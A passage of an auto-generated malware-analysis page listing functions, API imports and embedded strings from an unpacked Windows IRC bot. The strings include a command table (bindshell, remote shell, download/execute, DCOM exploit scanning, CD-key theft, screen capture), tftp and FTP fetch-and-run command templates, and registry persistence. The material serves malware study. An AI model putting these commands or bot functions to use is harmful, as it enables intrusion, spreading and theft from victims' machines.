</font></pre></td></tr><tr id="sub_41A907"><td><pre><a name="sub_41A907"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41A907"><font size=+2>sub_41A907</a>(7efe)</font>:<font color=brown>
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
</font></pre></td></tr><tr id="sub_42EB80"><td><pre><a name="sub_42EB80"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42EB80"><font size=+2>sub_42EB80</a>(837c)</font>:<font color=brown>
"KERNEL32"
"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_401000"><td><pre><a name="sub_401000"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_401000"><font size=+2>sub_401000</a>(84ff)</font>:<font color=darkgreen>
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"Windows Service Agent"
"Windows Service Agent"
</font></pre></td></tr><tr id="sub_40B00F"><td><pre><a name="sub_40B00F"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40B00F"><font size=+2>sub_40B00F</a>(8704)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_40E192"><td><pre><a name="sub_40E192"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40E192"><font size=+2>sub_40E192</a>(874c)</font>:<font color=darkgreen>
WS2_32.inet_ntoa</font>
<font color=brown></font></pre></td></tr><tr id="sub_42A270"><td><pre><a name="sub_42A270"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42A270"><font size=+2>sub_42A270</a>(8807)</font>:<font color=brown>
"stream.c"
</font></pre></td></tr><tr id="sub_401DEC"><td><pre><a name="sub_401DEC"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_401DEC"><font size=+2>sub_401DEC</a>(8b9b)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_436B90"><td><pre><a name="sub_436B90"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_436B90"><font size=+2>sub_436B90</a>(8cd3)</font>:<font color=brown>
"initctyp.c"
"initctyp.c"
"initctyp.c"
"initctyp.c"
</font></pre></td></tr><tr id="sub_4103B1"><td><pre><a name="sub_4103B1"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4103B1"><font size=+2>sub_4103B1</a>(8cfd)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
</font></pre></td></tr><tr id="sub_422E90"><td><pre><a name="sub_422E90"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_422E90"><font size=+2>sub_422E90</a>(8f05)</font>:<font color=brown>
"string != NULL"
"sscanf.c"
"format != NULL"
"sscanf.c"
</font></pre></td></tr><tr id="sub_437AE0"><td><pre><a name="sub_437AE0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_437AE0"><font size=+2>sub_437AE0</a>(90be)</font>:<font color=brown>
"040a"
"1252"
</font></pre></td></tr><tr id="sub_431A40"><td><pre><a name="sub_431A40"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_431A40"><font size=+2>sub_431A40</a>(978c)</font>:<font color=brown>
"C:\\m_unpacker\\packed.exe"
"C:\\m_unpacker\\packed.exe"
</font></pre></td></tr><tr id="sub_40CE78"><td><pre><a name="sub_40CE78"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40CE78"><font size=+2>sub_40CE78</a>(9809)</font>:<font color=brown>
"real"
</font></pre></td></tr><tr id="sub_420E70"><td><pre><a name="sub_420E70"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_420E70"><font size=+2>sub_420E70</a>(a1d1)</font>:<font color=brown>
"%.2X "
" Data: <%s> %s\n"
</font></pre></td></tr><tr id="sub_4021E5"><td><pre><a name="sub_4021E5"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4021E5"><font size=+2>sub_4021E5</a>(a223)</font>:<font color=darkgreen>
WS2_32.closesocket
WS2_32.WSACleanup
DNSAPI.DnsFlushResolverCache
WS2_32.getsockname
WS2_32.inet_ntoa
SHELL32.ShellExecuteA
WS2_32.inet_addr
WS2_32.gethostbyaddr
WS2_32.gethostbyname
WS2_32.WSAStartup
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WSOCK32.recv
WS2_32.send</font>
<font color=brown>
" :"
" "
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"USERHOST %s\r\n"
"-x+i"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"PART"
"NOTICE %s :%s\r\n"
"353"
"PRIVMSG"
"NOTICE"
"332"
"PRIVMSG"
"NOTICE"
"NOTICE"
"#"
"SEND"
"%s"
"%s"
"CHAT"
"%s"
"login"
"l"
"!"
"~"
"mrneti"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"mrneti"
"332"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
"$chr("
")"
"63"
" "
" "
"rndnick"
"rn"
"NICK %s\r\n"
"die"
"d"
"332"
"logout"
"lo"
"version"
"ver"
"dedication"
"ded"
"secure"
"sec"
"unsecure"
"unsec"
"secure"
"sec"
"Securing"
"Unsecuring"
"bindshell"
"bd"
"Server"
"rloginstop"
"Server"
"httpstop"
"Server"
"logstop"
"Log list"
"redirectstop"
"TCP redirect"
"tftpstop"
"Server"
"findfilestop"
"ffstop"
"Find file"
"procsstop"
"psstop"
"Process list"
"clonestop"
"Clone"
"securestop"
"Secure"
"scanstop"
"Scan"
"scanstats"
"stats"
"trstats"
"connectbackstats"
"cbstats"
"exploitlist"
"explist"
"reconnect"
"r"
"QUIT :reconnecting\r\n"
"disconnect"
"dc"
"QUIT :disconnecting\r\n"
"quit"
"q"
"QUIT :%s\r\n"
"QUIT :later\r\n"
"status"
"s"
"id"
"i"
"reboot"
"threads"
"t"
"sub"
"aliases"
"al"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"remove"
"rm"
"procs"
"ps"
"full"
"getcdkeys"
"key"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"httpserver"
"http"
"tftpserver"
"tftp"
"crash"
"crash"
"scan"
"scan"
"##mrnetiex##"
"##mrnetiex##"
"Random"
"Sequential"
"phonehome"
"NOTICE %s :PHONING HOME: hi ;).\r\n"
"exploit"
"##mrnetiex##"
"##mrnetiex##"
"reconnect.in"
"rin"
"QUIT :reconnecting\r\n"
"reconnect.in.ms"
"rinms"
"QUIT :reconnecting\r\n"
"nick"
"n"
"NICK %s\r\n"
"join"
"j"
"JOIN %s %s\r\n"
"part"
"pt"
"PART %s\r\n"
"raw"
"r"
"%s\r\n"
"killthread"
"k"
"all"
"c_quit"
"c_q"
"QUIT :later\r\n"
"c_rndnick"
"c_rn"
"NICK %s"
"%s\r\n"
"prefix"
"pr"
"open"
"o"
"open"
"server"
"se"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"list"
"li"
"visit"
"v"
"mirccmd"
"mirc"
"readfile"
"rf"
"r"
"ident"
"on"
"off"
"net"
"start"
"%s"
"stop"
"%s"
"pause"
"%s"
"continue"
"%s"
"delete"
"%s"
"share"
"%s"
"%s"
"user"
"%s"
"%s"
"%s"
"send"
"%s"
"capture"
"cap"
"screen"
"drivers"
"frame"
"video"
"gethost"
"gh"
"%s %s %s :%s"
"killlog"
"kl"
"addalias"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"332"
"PART %s\r\n"
"JOIN %s %s\r\n"
"mode"
"m"
"MODE %s\r\n"
"c_raw"
"c_r"
"%s\r\n"
"c_mode"
"c_m"
"MODE %s"
"%s\r\n"
"c_nick"
"c_n"
"NICK %s"
"%s\r\n"
"c_join"
"c_j"
"JOIN %s %s"
"%s\r\n"
"c_part"
"c_p"
"PART %s"
"%s\r\n"
"update"
"up"
"%s%s.exe"
"execute"
"e"
"findfile"
"ff"
"rename"
"mv"
"clone"
"c"
"download"
"dl"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"[%s] <%s> %s"
"c_action"
"portscan"
"psc"
"advscan"
"asc"
"##mrnetiex##"
"##mrnetiex##"
"Random"
"Sequential"
"netsend"
"ns"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"httpcon"
"hcon"
"upload"
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
</font></pre></td></tr><tr id="sub_414D5E"><td><pre><a name="sub_414D5E"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_414D5E"><font size=+2>sub_414D5E</a>(a312)</font>:<font color=darkgreen>
WS2_32.closesocket</font>
<font color=brown>
"\\%s"
"%s"
"%s%s"
"\n"
"*"
</font></pre></td></tr><tr id="sub_41590E"><td><pre><a name="sub_41590E"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41590E"><font size=+2>sub_41590E</a>(a619)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.WSAGetLastError</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D286"><td><pre><a name="sub_41D286"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41D286"><font size=+2>sub_41D286</a>(a8e2)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown>
"PRIVMSG %s :%s\r"
"%s"
</font></pre></td></tr><tr id="sub_40AFBE"><td><pre><a name="sub_40AFBE"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40AFBE"><font size=+2>sub_40AFBE</a>(a8e8)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_401567"><td><pre><a name="sub_401567"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_401567"><font size=+2>sub_401567</a>(aa13)</font>:<font color=darkgreen>
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown></font></pre></td></tr><tr id="sub_41E075"><td><pre><a name="sub_41E075"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41E075"><font size=+2>sub_41E075</a>(aae0)</font>:<font color=brown>
"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_41BF3D"><td><pre><a name="sub_41BF3D"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41BF3D"><font size=+2>sub_41BF3D</a>(af59)</font>:<font color=brown>
"Username accounts for local system:"
" %S"
"Total users found: %d."
</font></pre></td></tr><tr id="sub_4219C0"><td><pre><a name="sub_4219C0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4219C0"><font size=+2>sub_4219C0</a>(afb7)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_40E79A"><td><pre><a name="sub_40E79A"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40E79A"><font size=+2>sub_40E79A</a>(b058)</font>:<font color=darkgreen>
WS2_32.ntohl</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DF24"><td><pre><a name="sub_40DF24"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40DF24"><font size=+2>sub_40DF24</a>(b404)</font>:<font color=darkgreen>
WS2_32.inet_addr</font>
<font color=brown>
"Dcom2-135"
</font></pre></td></tr><tr id="sub_424D20"><td><pre><a name="sub_424D20"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_424D20"><font size=+2>sub_424D20</a>(b443)</font>:<font color=darkgreen>
USER32.wsprintfA</font>
<font color=brown>
"user32.dll"
"wsprintfA"
"Second Chance Assertion Failed: File %s"...
"_CrtDbgReport: String too long or IO Er"...
"Assertion failed: "
"Assertion failed!"
"\r"
"\n"
"%s(%d) : %s"
"_CrtDbgReport: String too long or IO Er"...
</font></pre></td></tr><tr id="sub_41F9E0"><td><pre><a name="sub_41F9E0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41F9E0"><font size=+2>sub_41F9E0</a>(b6b2)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook free failure.\n"
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"pHead->nLine == IGNORE_LINE && pHead->l"...
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
"_pLastBlock == pHead"
"dbgheap.c"
"_pFirstBlock == pHead"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_421B90"><td><pre><a name="sub_421B90"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_421B90"><font size=+2>sub_421B90</a>(b784)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_423AE0"><td><pre><a name="sub_423AE0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_423AE0"><font size=+2>sub_423AE0</a>(b786)</font>:<font color=brown>
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
</font></pre></td></tr><tr id="sub_41DC42"><td><pre><a name="sub_41DC42"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41DC42"><font size=+2>sub_41DC42</a>(b8ff)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegCloseKey
KERNEL32.GetDriveTypeA</font>
<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"%c$"
"%c:\\"
</font></pre></td></tr><tr id="sub_6106C1"><td><pre><a name="sub_6106C1"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_6106C1"><font size=+2>sub_6106C1</a>(ba2e)</font>:<font color=darkgreen>
KERNEL32.LoadLibraryA</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F238"><td><pre><a name="sub_40F238"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40F238"><font size=+2>sub_40F238</a>(bbf1)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WS2_32.inet_ntoa
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_415FBE"><td><pre><a name="sub_415FBE"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_415FBE"><font size=+2>sub_415FBE</a>(bc3f)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.gethostbyname
WS2_32.gethostbyaddr
WS2_32.connect
WS2_32.inet_ntoa
WSOCK32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CDFD"><td><pre><a name="sub_41CDFD"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41CDFD"><font size=+2>sub_41CDFD</a>(bc86)</font>:<font color=darkgreen>
KERNEL32.CreateToolhelp32Snapshot
KERNEL32.Process32First
KERNEL32.Process32Next
KERNEL32.Module32First</font>
<font color=brown>
"SeDebugPrivilege"
" %s (%d)"
" %s (%d)"
" %s (%d)"
"SeDebugPrivilege"
</font></pre></td></tr><tr id="sub_41152D"><td><pre><a name="sub_41152D"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41152D"><font size=+2>sub_41152D</a>(c466)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.ntohs
WS2_32.socket
WS2_32.connect
WSOCK32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"tftp -i %s get %s\r\n"
"echo open %s %d > o&echo user 1 1 >> o "...
"%s\r\n"
</font></pre></td></tr><tr id="sub_41B2D1"><td><pre><a name="sub_41B2D1"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41B2D1"><font size=+2>sub_41B2D1</a>(c4b1)</font>:<font color=darkgreen>
ADVAPI32.OpenSCManagerA
ADVAPI32.EnumServicesStatusA
ADVAPI32.CloseServiceHandle</font>
<font color=brown>
"The following Windows services are regi"...
" Stopped"
" Starting"
" Stoping"
" Running"
" Continuing"
" Pausing"
" Paused"
" Unknown"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_4168DF"><td><pre><a name="sub_4168DF"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4168DF"><font size=+2>sub_4168DF</a>(caf2)</font>:<font color=darkgreen>
WSOCK32.recv
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_43D280"><td><pre><a name="sub_43D280"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_43D280"><font size=+2>sub_43D280</a>(cc1e)</font>:<font color=brown>
"invalid string position"
</font></pre></td></tr><tr id="sub_4250B0"><td><pre><a name="sub_4250B0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4250B0"><font size=+2>sub_4250B0</a>(cedb)</font>:<font color=brown>
"szUserMessage != NULL"
"dbgrpt.c"
"<program name unknown>"
"..."
"..."
"\n\nFor information on how your program c"...
"Expression: "
"\n\n"
"\nLine: "
"\nFile: "
"\nModule: "
"Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
"_CrtDbgReport: String too long or IO Er"...
"Microsoft Visual C++ Debug Library"
</font></pre></td></tr><tr id="sub_40DC2A"><td><pre><a name="sub_40DC2A"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40DC2A"><font size=+2>sub_40DC2A</a>(d158)</font>:<font color=brown>
"Dcom2-135"
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_41A8DC"><td><pre><a name="sub_41A8DC"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41A8DC"><font size=+2>sub_41A8DC</a>(d47a)</font>:<font color=darkgreen>
USER32.ExitWindowsEx</font>
<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_425990"><td><pre><a name="sub_425990"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_425990"><font size=+2>sub_425990</a>(d516)</font>:<font color=brown>
"mlock.c"
</font></pre></td></tr><tr id="sub_419788"><td><pre><a name="sub_419788"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_419788"><font size=+2>sub_419788</a>(d5e7)</font>:<font color=darkgreen>
KERNEL32.GetDriveTypeA</font>
<font color=brown>
"Unknown"
"Invalid"
"Disk"
"Network"
"Cdrom"
</font></pre></td></tr><tr id="sub_42B630"><td><pre><a name="sub_42B630"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42B630"><font size=+2>sub_42B630</a>(d66b)</font>:<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_40C6B0"><td><pre><a name="sub_40C6B0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C6B0"><font size=+2>sub_40C6B0</a>(d685)</font>:<font color=darkgreen>
DNSAPI.DnsFlushResolverCache</font>
<font color=brown></font></pre></td></tr><tr id="sub_41983F"><td><pre><a name="sub_41983F"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41983F"><font size=+2>sub_41983F</a>(d722)</font>:<font color=brown>
"failed"
"failed"
"failed"
"%sKB"
"%sKB"
"%sKB"
</font></pre></td></tr><tr id="sub_41A75B"><td><pre><a name="sub_41A75B"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41A75B"><font size=+2>sub_41A75B</a>(d97a)</font>:<font color=darkgreen>
KERNEL32.SearchPathA</font>
<font color=brown>
"explorer.exe"
</font></pre></td></tr><tr id="sub_42EE60"><td><pre><a name="sub_42EE60"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42EE60"><font size=+2>sub_42EE60</a>(db6b)</font>:<font color=brown>
"e+000"
</font></pre></td></tr><tr id="sub_40D75C"><td><pre><a name="sub_40D75C"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40D75C"><font size=+2>sub_40D75C</a>(dfb9)</font>:<font color=brown>
"%s %s stopped. (%d thread(s) stopped.)"
"%s No %s thread found."
</font></pre></td></tr><tr id="sub_4223D0"><td><pre><a name="sub_4223D0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4223D0"><font size=+2>sub_4223D0</a>(e108)</font>:<font color=brown>
"string != NULL"
"fgets.c"
"fgets.c"
</font></pre></td></tr><tr id="sub_41E8B6"><td><pre><a name="sub_41E8B6"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41E8B6"><font size=+2>sub_41E8B6</a>(e199)</font>:<font color=darkgreen>
WININET.InternetCrackUrlA
WININET.InternetConnectA
WININET.HttpOpenRequestA
WININET.HttpSendRequestA
WININET.InternetCloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C670"><td><pre><a name="sub_40C670"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C670"><font size=+2>sub_40C670</a>(e95d)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.gethostbyname</font>
<font color=brown></font></pre></td></tr><tr id="sub_40CDB9"><td><pre><a name="sub_40CDB9"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40CDB9"><font size=+2>sub_40CDB9</a>(eb8f)</font>:<font color=darkgreen>
USER32.FindWindowA</font>
<font color=brown>
"mIRC"
"mIRC"
</font></pre></td></tr><tr id="sub_41FDF0"><td><pre><a name="sub_41FDF0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41FDF0"><font size=+2>sub_41FDF0</a>(ebee)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_42C5E0"><td><pre><a name="sub_42C5E0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42C5E0"><font size=+2>sub_42C5E0</a>(f0ae)</font>:<font color=brown>
"format != NULL"
"input.c"
"input.c"
</font></pre></td></tr><tr id="sub_41E318"><td><pre><a name="sub_41E318"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41E318"><font size=+2>sub_41E318</a>(f26a)</font>:<font color=darkgreen>
ADVAPI32.GetUserNameA
WS2_32.inet_addr
WS2_32.gethostbyaddr</font>
<font color=brown>
"95"
"NT"
"98"
"ME"
"2K"
"XP"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
</font></pre></td></tr><tr id="sub_41BA71"><td><pre><a name="sub_41BA71"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41BA71"><font size=+2>sub_41BA71</a>(f4d5)</font>:<font color=brown>
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Guest"
"User"
"Administrator"
"Unknown"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
</font></pre></td></tr><tr id="sub_4181FB"><td><pre><a name="sub_4181FB"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4181FB"><font size=+2>sub_4181FB</a>(f524)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegQueryValueExA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"%s\\%s"
"r"
"="
"="
</font></pre></td></tr><tr id="sub_422920"><td><pre><a name="sub_422920"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_422920"><font size=+2>sub_422920</a>(f534)</font>:<font color=brown>
"string != NULL"
"vsprintf.c"
"format != NULL"
"vsprintf.c"
</font></pre></td></tr><tr id="sub_420890"><td><pre><a name="sub_420890"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_420890"><font size=+2>sub_420890</a>(f956)</font>:<font color=brown>
"_CrtMemCheckPoint: NULL state pointer.\n"...
"%s"
"Bad memory block found at 0x%08X.\n"
</font></pre></td></tr><tr id="sub_42A6B0"><td><pre><a name="sub_42A6B0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42A6B0"><font size=+2>sub_42A6B0</a>(fa9d)</font>:<font color=brown>
"ch != _T('\\0')"
"output.c"
</font></pre></td></tr><tr id="sub_40FD9F"><td><pre><a name="sub_40FD9F"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40FD9F"><font size=+2>sub_40FD9F</a>(fae5)</font>:<font color=darkgreen>
WSOCK32.recv</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E8AF"><td><pre><a name="sub_40E8AF"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40E8AF"><font size=+2>sub_40E8AF</a>(fcb7)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.ntohs
WS2_32.ioctlsocket
WS2_32.connect
WS2_32.select
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |